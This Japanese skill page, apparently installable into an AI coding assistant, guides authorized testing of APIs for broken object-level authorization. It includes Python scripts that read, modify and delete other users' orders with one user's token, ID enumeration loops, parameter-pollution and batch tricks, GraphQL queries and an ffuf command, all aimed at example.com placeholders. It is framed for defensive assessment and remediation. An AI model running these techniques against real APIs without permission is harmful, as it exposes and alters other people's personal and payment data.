testing-api-for-broken-object-level-authorization について
許可を得た API セキュリティ評価向けのスキルです。REST と GraphQL のオブジェクト単位の認可を、手動および Autorize を使って複数アカウントやリクエスト形式ごとに検証します。
主な機能
- 01API エンドポイントとオブジェクト ID の特定
- 02アカウント間の正当なリクエスト比較
- 03水平権限昇格のテスト
- 04パラメーター汚染とリクエスト本文の上書き確認
- 05Autorize によるリクエスト再送
- 06GraphQL のオブジェクト認可テスト
活用シーン
- 01マルチテナントアプリのユーザーデータ分離を評価
- 02追加した API エンドポイントの認可確認
- 03読み取り、書き込み、一括処理のオブジェクト権限確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorizationインストール後、Claude Code で/testing-api-for-broken-object-level-authorizationを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Broken Object Level Authorization の API テスト
使用する場面
- URL パス、クエリパラメーター、またはリクエストボディでオブジェクト識別子を使用する REST または GraphQL API の評価
- API1:2023(BOLA)のテストが必要な OWASP API Security Top 10 評価の実施
- 異なるテナントのユーザーが互いのデータにアクセスできないようにする必要がある、マルチテナント SaaS アプリケーションのテスト
- 認証だけでなく、API エンドポイントでオブジェクトごとの認可チェックが実施されていることの検証
- 新しいエンドポイントの追加後に、認可ミドルウェアが一貫して適用されていることを確認するための API 評価
API 所有者から書面による許可を得ずに使用しないでください。BOLA テストでは他のユーザーのデータへのアクセス、またはアクセスの試行を行うため、明示的な許可が必要です。
前提条件
- テスト対象の API エンドポイントとテスト範囲を明記した書面による許可
- 異なる権限レベルとそれぞれ異なるデータセットを持つ、少なくとも 2 つのテストアカウント
- インターセプトプロキシとして設定済みの Burp Suite Professional または OWASP ZAP
- 各テストアカウントの認証トークン(JWT、セッション Cookie、API キー)
- API ドキュメント(OpenAPI/Swagger 仕様)またはエンドポイントを列挙するためのアクセス権
- スクリプトによるテスト用の
requestsライブラリを備えた Python 3.10 以降 - 自動 BOLA 検出用の Autorize Burp 拡張機能
ワークフロー
ステップ 1:API エンドポイントの検出とオブジェクト ID のマッピング
すべての API エンドポイントを列挙し、オブジェクトを参照するパラメーターを特定します。
OpenAPI/Swagger 仕様から:
# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"
Burp Suite のトラフィックから:
- ユーザー A としてアプリケーションを操作し、データの作成や取得に関わるすべての機能を試します
- Burp で Target > Site Map に移動し、API パス(例:
/api/v1/、/graphql)で絞り込みます - 次のようなパターンを探します:
/api/v1/users/{id}、/api/v1/orders/{order_id}、/api/v1/documents/{doc_uuid} - オブジェクト ID の形式を記録します。連番の整数(予測可能)、UUID(予測しにくい)、またはエンコードされた値
オブジェクト ID の種類を分類する:
| ID の種類 | 例 | 予測可能性 | BOLA リスク |
|---|---|---|---|
| 連番の整数 | /orders/1042 | 高 — 増減させやすい | 重大 |
| UUID v4 | /orders/550e8400-e29b-41d4-a716-446655440000 | 低 — ランダム | 中(漏えいした場合) |
| エンコード/ハッシュ | /orders/base64encodedvalue | 中 — デコードして予測可能 | 高 |
| 複合 ID | /users/42/orders/1042 | 高 — 複数の ID を入れ替え可能 | 重大 |
| スラッグ | /profiles/john-doe | 中 — ユーザー名を推測可能 | 高 |
ステップ 2:認証済みユーザーのベースラインリクエストを取得する
ユーザー A とユーザー B の正当なリクエストを取得します。
import requests
BASE_URL = "https://target-api.example.com/api/v1"
# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
ステップ 3:BOLA テスト — 水平権限昇格
ユーザー A の認証情報を使って、ユーザー B のオブジェクトへのアクセスを試みます。
import json
results = []
# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# Test 3: Modify User B's order with User A's token
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Print results
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
ステップ 4:高度な BOLA テクニック
見つけにくい BOLA のパターンをテストします。
# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
# Technique 2: JSON body object ID override
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")
ステップ 5:Autorize(Burp Suite)による自動 BOLA 検出
自動検出用に Autorize を設定します。
- Burp Suite Professional の BApp Store から Autorize をインストールします
- Autorize タブに、ユーザー B の認証 Cookie またはヘッダーを貼り付けます
- インターセプトフィルターを設定します。
- 含める:
.*\/api\/.*(API パスのみ) - 除外する:
.*\.(js|css|png|jpg)$(静的アセットを除外)
- 含める:
- 適用状況の検出条件を設定します。
- ユーザー A とユーザー B の間でレスポンスの長さまたはステータスコードが異なる条件を追加します
- ユーザー A がユーザー B のリソースに対して 403/401 を受け取った場合は「適用済み」とします
- ユーザー A がユーザー B のデータとともに 200 を受け取った場合は「回避」とします
- ユーザー A としてアプリケーションを操作します。Autorize はユーザー B のトークンを使って各リクエストを自動的に再送します
- Autorize の結果テーブルを確認します。
- 緑 = 認可が適用されています(安全)
- 赤 = 認可が回避されています(BOLA 脆弱性)
- オレンジ = 手動レビューが必要です(曖昧なレスポンス)
ステップ 6:GraphQL BOLA テスト
# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
# Test nested object access through relationships
query {
user(id: "1002") { # User B's ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}
重要な概念
| 用語 | 定義 |
|---|---|
| BOLA | Broken Object Level Authorization(OWASP API1:2023)— API が、認証済みユーザーにリクエストで参照された特定のオブジェクトへのアクセス権限があるかを検証しないことです |
| IDOR | Insecure Direct Object Reference — アプリケーションがユーザーによる操作が可能な入力を使って、認可チェックを行わずにオブジェクトへ直接アクセスするという、BOLA と密接に関連する用語です |
| 水平権限昇格 | オブジェクト識別子を操作し、同じ権限レベルにある別のユーザーのリソースにアクセスすることです |
| 垂直権限昇格 | より高い権限レベルに制限されたリソースや機能にアクセスすることです(例:一般ユーザーが管理者用エンドポイントにアクセスする) |
| オブジェクト ID の列挙 | 形式(連番の整数、UUID のパターン、エンコードされた値)を分析して、有効なオブジェクト識別子を推測することです |
| Autorize | 異なるユーザートークンを使ってリクエストを再送信し、認可テストを自動化する Burp Suite 拡張機能です |
ツールとシステム
- Burp Suite Professional:API リクエストの取得や操作に使うインターセプトプロキシです。Autorize 拡張機能を利用して BOLA テストを自動化できます
- OWASP ZAP:認可境界をテストする Access Control Testing アドオンを備えたオープンソースの代替ツールです
- Autorize:異なるユーザーコンテキストでリクエストを再送信し、認可の適用状況を自動的に検出する Burp 拡張機能です
- Postman:コレクション全体で異なる認証トークンを使い、リクエストを作成・再送信できる API テストプラットフォームです
- ffuf:大規模にオブジェクト ID を列挙できる Web ファザーです:
ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"
よくあるシナリオ
シナリオ:E コマース API の BOLA 評価
状況:E コマースプラットフォームが、モバイルアプリ向けに REST API を公開しています。API では、注文、ユーザー、住所に連番の整数 ID が使われています。テスト用アカウントとして、一般顧客(ユーザー A、ID 1001)と別の顧客(ユーザー B、ID 1002)の 2 つが提供されています。
アプローチ:
/api/docsの Swagger 仕様からすべてのエンドポイントを洗い出します:47 個のエンドポイントを特定し、そのうち 23 個がオブジェクト ID を受け取ります- ユーザー A 自身のリソースに対するリクエストを取得します:プロフィール、注文、住所、支払い方法、ウィッシュリスト
- 23 個すべてのエンドポイントで、ユーザー A のオブジェクト ID をユーザー B の ID に順に置き換えます
GET /api/v1/orders/{id}が、所有者に関係なく任意の注文を返すことを確認します(読み取り時の BOLA)PATCH /api/v1/addresses/{id}により、任意のユーザーの住所を変更できることを確認します(書き込み時の BOLA)GET /api/v1/users/{id}/payment-methodsが、任意のユーザーの支払いカードの下 4 桁を漏えいすることを確認します- バッチエンドポイント
POST /api/v1/orders/exportをテストします。注文 ID の配列を受け取り、所有権を確認せずにすべてエクスポートします DELETE /api/v1/orders/{id}が、所有者ではない注文に対して正しく 403 を返すことを検証します(認可が適用されています)
注意点:
- GET リクエストだけをテストし、データの変更や破壊が可能な PUT/PATCH/DELETE メソッドにおける BOLA を見落とす
- UUID なら BOLA を防げると思い込むこと。UUID は推測しにくいものの、API レスポンス、ログ、URL パラメーターから漏れる可能性があります
- 親リソースでは認可が確認されても、子リソースでは確認されない可能性がある、ネストされたリソースパスをテストしない
- オブジェクト ID の配列を受け取る一括/バッチエンドポイントの BOLA を見落とす
- API のバージョン(v1 と v2 など)によって、認可の実装が異なる可能性を考慮しない
出力形式
## Finding: Broken Object Level Authorization in Order API
**ID**: API-BOLA-001
**Severity**: High (CVSS 7.5)
**OWASP API**: API1:2023 - Broken Object Level Authorization
**Affected Endpoints**:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
**Description**:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.
**Proof of Concept**:
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)
**Impact**:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers
**Remediation**:
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
5. Implement rate limiting per user to slow enumeration attempts
コメント
Markdown 対応